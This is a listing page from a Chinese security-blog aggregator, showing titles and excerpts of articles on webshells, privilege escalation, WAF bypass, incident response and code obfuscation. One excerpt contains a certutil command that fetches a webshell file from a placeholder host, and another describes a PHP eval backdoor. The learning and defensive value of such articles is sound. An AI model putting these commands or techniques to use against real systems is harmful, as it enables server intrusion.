webshell代码混淆

ATT&CK实战系列——红队实战(五)

文章目录环境搭建官方描述前期信息搜集爆破前辈webshellThinkPHP5.0.22任意命令执行getshell内网信息收集内网渗透wmiexec横向黄金票据ipc登录环境搭建http://vulnstack.qiyuanxuetang.net
_abcdef·2022-07-18 12:31

代码混淆iOS一键改类名

工具和账号密码下载地址https://gitee.com/iosurl/ios-change在iOS开发中有时需要做马甲包或上线审核时因为4.3被拒，为了使应用能够通过审核，这时就需要批量修改类名了，一个个的手动去改会比较耗时还容易报错，这个时候就需要一个批量修改类名的工具了，轻轻松松一分钟就搞定所有的类名修改。话不多说，上菜上菜。一、先获取账号密码1.jpeg二、修改类名目前工具里还只有一个修改
鄂北·2022-07-12 14:32

代码混淆iOS一键添加垃圾代码(一)

工具和账号密码下载地址https://gitee.com/iosurl/ios-change在iOS开发中有时需要做马甲包或上线审核时因为4.3被拒，为了使应用能够通过审核，这时就需要添加垃圾代码了，一个个手动去加耗时耗力，这时就急需一个工具轻轻松松一分钟就搞定垃圾代码的添加。话不多说，上菜上菜。一、先获取账号密码2-1.jpeg二、选择相对应的功能2-2.jpeg三、添加垃圾代码1、新建文件夹新
鄂北·2022-07-12 14:21

代码混淆iOS一键添加垃圾代码(二)

工具和账号密码下载地址https://gitee.com/iosurl/ios-change具体的使用请看前两期iOS一键修改类名iOS一键添加垃圾代码(一)这个版本对“一键添加垃圾代码”功能进行了完善，完善的功能有：(1)增加类名前缀；(2)类名、属性名和方法名由前面的字母随机拼接改为了单词拼接；(3)方法名进行了优化。下面来看看怎么使用吧：3-1.jpeg1、新建文件夹新建一个文件夹用来存放垃
鄂北·2022-07-12 14:09

BUUCTF MISC刷题

目录题1、LSB题2、镜子里面的世界题3、ningen题4、面具下的flag题5、FLAG题6、假如给我三天光明题7、九连环题8、后门查杀题9、webshell后门题10、荷兰宽带数据泄露题11、刷新过的图片题
五五六六_摆烂机0524号·2022-07-12 07:25

渗透测试中的提权思路（详细！）

J01n/2021-07-2923:44:22/浏览数1583安全技术WEB安全[顶(2)](javascript:)[踩(0)](javascript:)**提权Webshell：**尽量能够获取webshell
网安溦寀·2022-07-10 16:54

权限提升漏洞

权限提升1.权限提升权限介绍当你通过弱口令爆破、敏感文件读取、sql注入等漏洞获取到了管理员的账号和密码登入后台以后，需要提升自己的权限，就得在后台页面中寻找漏洞利用的点，成功上传webshell提升权限提权可分为纵向提权与横向提权
天猫来下凡·2022-07-10 16:54

Windows提权--小迪权限提升--烂土豆--DLL劫持--udf提权

目录权限分类针对环境webshell权限本地用户权限提权方法1.windows内核溢出漏洞（如何判断类型和利用）2.数据库提权MysqlMssqloracleredispostgresql3.令牌窃取4
Zhao蔫儿·2022-07-09 09:22

sql注入总结--详细

mysql注释符union操作符的介绍orderby介绍字符串编码数据库结构导入导出相关操作增删改函数3、判断是否存在SQL注入4、回显注入(联合注入)查询字段数目查询库名查询表名查询字段名查询字段值获取WebShell5
拓海AE·2022-07-07 09:57

渗透学什么？渗透测试中超全的提权思路来了!

提权Webshell：尽量能够获取webshell，如果获取不到webshell可以在有文件上传的地方上传反弹shell脚本；或者利用漏洞（系统漏洞，服务器漏洞，第三方软件漏洞，数据库漏洞）来获取shell
雨笋教育·2022-07-05 09:55

【免杀】————4、Webshell如何bypass安全狗，D盾

上次很多师傅问我要的web漏扫的github地址抱歉还不能给你们，（毕设没答辩完，而且还没写完Orz）Webshell这里，我主要是写phpwebshell的bypass（主要是其他的没研究过），安全狗的版本是在官网下载的
FLy_鹏程万里·2022-07-04 21:14

Android 项目架构系列之代码的混淆

被前辈问到代码混淆，决定从自己的模块跳出来，思考和优化项目的整体架构，写下系列的第一篇代码的混淆。
龙腾腾·2022-07-02 13:24

文件上传漏洞

如果web应用存在文件上传漏洞，那么恶意用户就可以利用文件上传漏洞将可执行脚本程序（webshell）上传到服务器中，获得网站的权限，进一步对服务器进行入侵，扩大控制权限。
看着博客敲代码·2022-06-27 22:41

实战回忆录：从Webshell开始突破边界

某授权单位的一次渗透，由于使用的php框架，某cms的上传，从实现webshell开始。添加监听，生成木马文件更改应用程序名称隐藏上线...
合天网安实验室·2022-06-27 16:00

ZFJObsLib-iOS代码混淆工具-马甲包混淆工具（Python脚本混淆iOS工程）

----------------------------------------分割线----------------------------------------前言今天主要想说的是iOS的代码混淆
·2022-06-23 20:01

看完这篇 教你玩转渗透测试靶机vulnhub——driftingblues6_vh

Vulnhub靶机driftingblues6_vh渗透测试详解Vulnhub靶机介绍：Vulnhub靶机下载：Vulnhub靶机漏洞详解：①：信息收集：②：开始目录爆破：③：暴力破解zip：③：上传WebShell
落寞的魚丶·2022-06-22 13:50

应急响应 - Windows 入侵排查

常见的应急响应事件分类：Web入侵：网页挂马、主页篡改、Webshell系统入侵：病毒木马、勒索软件、远控后门网络攻击：DDOS攻击、DNS劫持、AR
战神/calmness·2022-06-15 10:22

内存马检测与利用研究的优秀文章汇总

出品｜MS08067实验室（www.ms08067.com）随着攻防技术演变，传统形式的jsp木马已经不能满足攻击者的需求，因此内存马（无文件落地Webshell）重回大众视野，成为RedTeam广泛使用的技术
Ms08067安全实验室·2022-06-11 23:06

（20）文件上传漏洞：原理、原因、常见触发点分析，vulhub、upload、公开cms上传漏洞多种方法测试

目录理解文件上传漏洞：文件上传漏洞：文件上传漏洞：WebShell：一句话木马：产生上传漏洞原因：原因：常见的问题：危害：触发点，并判断是否存在文件上传漏洞：触发点：查找方法：常见文件上传地址获取：随机搜
黑色地带(崛起)·2022-06-09 18:27

应急响应-win&linux分析后门&勒索病毒&攻击

操作系统(windows,linux)应急响应：1.常见危害：暴力破解，漏洞利用，流量攻击，木马控制(Webshell,PC木马等)，病毒感染(挖矿，蠕虫，勒索等)。
深白色耳机·2022-06-04 18:11

应急响应-win&linux分析后门&勒索病毒&攻击

文章目录操作系统(windows,linux)应急响应：#案例1-攻击响应-暴力破解(RDP,SSH)-Win,Linux#案例2-控制响应-后门木马(Webshell,PC)-Win,Linux#案例
明月清风~~·2022-06-01 09:59

应急响应笔记

应急响应windows入侵排查常见的应急响应事件分类：web入侵：网页挂马，主页篡改，webshell系统入侵：病毒木马，勒索软件，远控后门网络攻击：ddos攻击，dns劫持，arp欺骗入侵排查思路一、
江饼人爱学习·2022-06-01 09:29

应急响应— 操作系统分析(病毒、后门）

一、操作系统(windows,linux)：1.常见危害：暴力破解，漏洞利用，流量攻击，木马控制(Webshell,PC木马等)，病毒感染(挖矿，蠕虫，勒索等)。
暮w光·2022-06-01 09:58

第74天-应急响应-win&linux 分析后门&勒索病毒&攻

思维导图知识点操作系统(windows,linux)应急响应：1.常见危害：暴力破解，漏洞利用，流量攻击，木马控制(Webshell,PC木马等)，病毒感染(挖矿，蠕虫，勒索等)。
IsecNoob·2022-06-01 09:54

渗透测试面试合集

中间件有没有已知的漏洞漏洞扫描开始检测漏洞，如XSS,XSRF,sql注入，代码执行，命令执行，越权访问，目录读取，任意文件读取，下载，文件包含，远程命令执行，弱口令，上传，编辑器漏洞，暴力破解等漏洞利用利用以上的方式拿到webshell
何以飘零远·2022-05-31 16:53

Webshell入侵检测初探

Webshell简介攻击者在入侵企业网站时，通常要通过各种方式获取webshell从而获得企业网站的控制权，然后方便进行之后的入侵行为。
ation_work·2022-05-31 16:53

【网络安全】SQL注入新思维之webshell提权

答：getshell是指攻击者通过利用SQL注入获取系统权限的方法，Webshell提权分两种：一是利用outfile函数，另外一种是利用**–os-shell**；UDF提权通过堆叠注入实现；MOF提权通过
大安全家·2022-05-31 16:20

记SWPU2021 GFCTF线下AWD赛

文章目录准备（复习基础和熟悉流程，记录思路）流程介绍攻击流程信息收集端口攻击Web攻击维持权限防守流程加固思路登录服务器SSH下载源码并备份（FileZilla—Sftp—询问密码方式）数据库连接快速查找命令：Webshell
yjprolus·2022-05-30 10:15

Windows常见的几种提权方法

零基础学黑客，搜索公众号：白帽子左一作者：掌控安全—杰斯提权，提高自己在服务器中的权限，主要针对网站渗透过程中，当渗透某一网站时，通过各种漏洞提升WEBSHELL权限以夺得该服务器权限，通常提权是把普通用户的权限提升到管理员权限或者系统权限在渗透测试过程中
zkzq·2022-05-21 16:08

DVWA靶场-文件上传漏洞

第五关：Fileupload（文件上传）文件上传漏洞，通常是由于对上传文件的类型、内容没有进行严格的过滤、检查，使得攻击者可以通过上传木马获取服务器的webshell权限，因此文件上传漏洞带来的危害常常是毁灭性的
嘿-零一·2022-05-19 10:42

内网渗透思路07之对Linux内网环境进行渗透

4.1.1搭建cms4.1.2灰盒代码审计4.1.3二次编码进行sql注入4.1.4MYSQL服务器恶意读取客户端文件漏洞利用4.1.5替换密文登录后台4.1.6后台上传漏洞代码审计4.1.7模板编辑拿webshell4.2
划水的小白白·2022-05-19 10:06

内网渗透初探(一) | 小白学习内网渗透

内网渗透的前提需要获取一个Webshell，可以是低权限的Webshell，因为可以通过提权获取高权限。在进行内网渗透之前需要了解一个概念，域环境。
大夜猫·2022-05-19 10:34

文件上传漏洞

危害可以通过这个漏洞上传后门文件，webshell，可以直接获取网站权限，然后获取服务器的提权，获取内网权限，或去用户信息等等。属于高危漏洞。文件木马ASPASPXPHPGIF89a
nigo134·2022-05-19 10:59

cmd下远程下载文件命令大全

certutil-urlcache-split-fhttp://127.0.0.1/webshell.txtcertutil-urlcache-split-fhttp://127.0.0.1/webshell.txtshell.txt
migrate_·2022-05-17 17:17

Emlog修复后台编辑器存储型XSS漏洞的方法

就发布过关于Emlog6.0的代码审计文章，其中就有分析道emlog文章编辑器的XSS漏洞，如果有些含有会员系统的EMLOG网站，就可能会遭到此漏洞攻击，严重可导致盗取管理员cookie，最后网站被黑客入侵拿下webshell
dyboy2017·2022-05-15 17:53

红日靶场(内网渗透）——2

之前我们已经将小马上传，在这里用webshell进行进一步渗透。1）基于msf利用msf生成exe，并上传。
yaolingyu1·2022-05-15 02:00

中国蚁剑AntSword

参考文档中国蚁剑下载、安装、使用教程_Sumarua的博客-CSDN博客_中国蚁剑怎么使用中国蚁剑AntSword：开源的跨平台WebShell管理工具-体验盒子-不再关注网络安全核心功能Shell代理功能
风过留不留声·2022-05-14 16:13

weevely Linux kali 系统自带的菜刀

weevely简介weevely是一款基于python编写的webshell生成、管理工具。
风过留不留声·2022-05-14 16:13

服务器渗透文件,渗透实战对文件上传漏洞的利用介绍

如果上载函数的实现代码没有严格地检查上载文件的后缀和文件类型，那么cache就会把webshell上载到web可访问的目录，并把恶意文件传递给PHP解释程序执行。
水阔山长·2022-05-10 05:54

Tomcat弱口令复现及利用(反弹shell)

Tomcat支持在后台部署war文件，可以直接将webshell部署到web目录下。其中，欲访问后台，需要对应用户有相应权限。Tomcat7+权限分为：manager
·2022-05-05 12:21

fastjson 1.2.24 反序列化 RCE 漏洞复现(CVE-2017-18349)

文章目录fastjson1.2.24反序列化RCE漏洞复现(CVE-2017-18349)前置环境漏洞环境搭建漏洞复现获取webshellfastjson1.2.24反序列化RCE漏洞复现(CVE-2017
GeekCoderBrick·2022-05-04 16:20

提高前端人效率的工具、网站和书籍

提高前端人效率的工具、网站和书籍在线编译（编辑）、playgroundJS代码混淆www.jsfuck.com/嗯，优点是你可以用来给你的前端工程师好友搞恶作剧，缺点是只能用一次SCSS转CSS在线编译
·2022-04-26 19:00

50 多个提高前端人效率的工具、网站和书籍整理

本文包含了在线编译，在线编辑、实用工具、可视化工具、各种前端电子书等50多个网站，快放到你的收藏夹吃灰吧如果你看到最后了，记得给我一个免费的赞哦在线编译（编辑）、playgroundJS代码混淆www.jsfuck.com
·2022-04-26 12:54

一句话木马绕WAF（小宇特详解）

webshell绕过WAF常见的PHP一句话木马就是WAF的工作原理以正则匹配为主，这里尝试他到底是正则匹配了什么这里首先尝试发现没有拦截然后尝试发现拦截了，去掉中括号，发现不拦截了。
小宇特详解·2022-04-25 11:17

Douphp cms通杀漏洞（小宇特详解）

这个通杀漏洞的原理就是通过找到data文件中的unlink文件进行删除，然后进行重新安装这个站点，然后我们对他进行恶意的传参，然后我拿到这个站点的webshell。
小宇特详解·2022-04-25 11:45

一次渗透测试实战

任意文件读取漏洞（CVE-2021-43798）一、漏洞描述二、漏洞影响范围Payload：ActiveMQ任意文件上传漏洞（CVE-2016-3088）一、漏洞描述二、漏洞影响范围三、漏洞利用：写入webshell
caker丶·2022-04-24 16:30

java序列回显学习

java反序列化回显在很多不出网的情况下，一种是写webshell(内存嘛)，另一种就是回显，本文先学习回显，回显的主要方式有一下几种。
akka1·2022-04-21 11:00

第48天-WAF 绕过-权限控制之代码混淆及行为造轮子

思维导图Safedog代码层手写及脚本绕过变量覆盖，加密混淆，异或生成BTAliyun代码层手写及脚本绕过编码解码(变量覆盖，加密混淆，异或生成)ASP,PHP,ASPX,JSP,PY等后门免杀同理一句话后门的原理：@再php中含义为后面如果执行错误不会报错eval（）函数表示括号里的语句全做代码执行$_POST[‘password’]`表示从页面中以post方式获取变量password的值。菜刀
IsecNoob·2022-04-18 12:17

OLLVM代码混淆移植与使用(续)

现状随着时间时间推移，类似库都基本不维护了，毕竟LLVM新版本改动多还好说，再多只要看看关键位置就大差不差知道怎么改怎么兼容，最难的就是编译，每次编译调试不知不觉没干啥就能耗人一天，另外就是以前的人现在都不知道还在不在业内，回归正题，其实修改的地方并不多，下面我就整理了一下关键位置，主要就是类型和调用顺序变了一下，了解以后去修改类似的项目也是手到擒来。关键修改9.0以后的修改这里类型写法更加标准一
heroims·2022-04-14 00:15

Linux应急响应

主机异常现象来发现可疑现象通常的可疑现象有资源占用异常登录异常文件异常连接异常进程进程排查Linux因为其默认的进程权限分离，每个进程有不同的权限，所以从进程用户名上能给我们很多信息比如从mysql)用户启动了一些非mysql的进程类似还有webshell
.SYS.·2022-04-11 07:40
上一页 23 24 25 26 27 28 29 30 下一页
按字母分类： ABCDEFGHIJKLMNOPQRSTUVWXYZ其他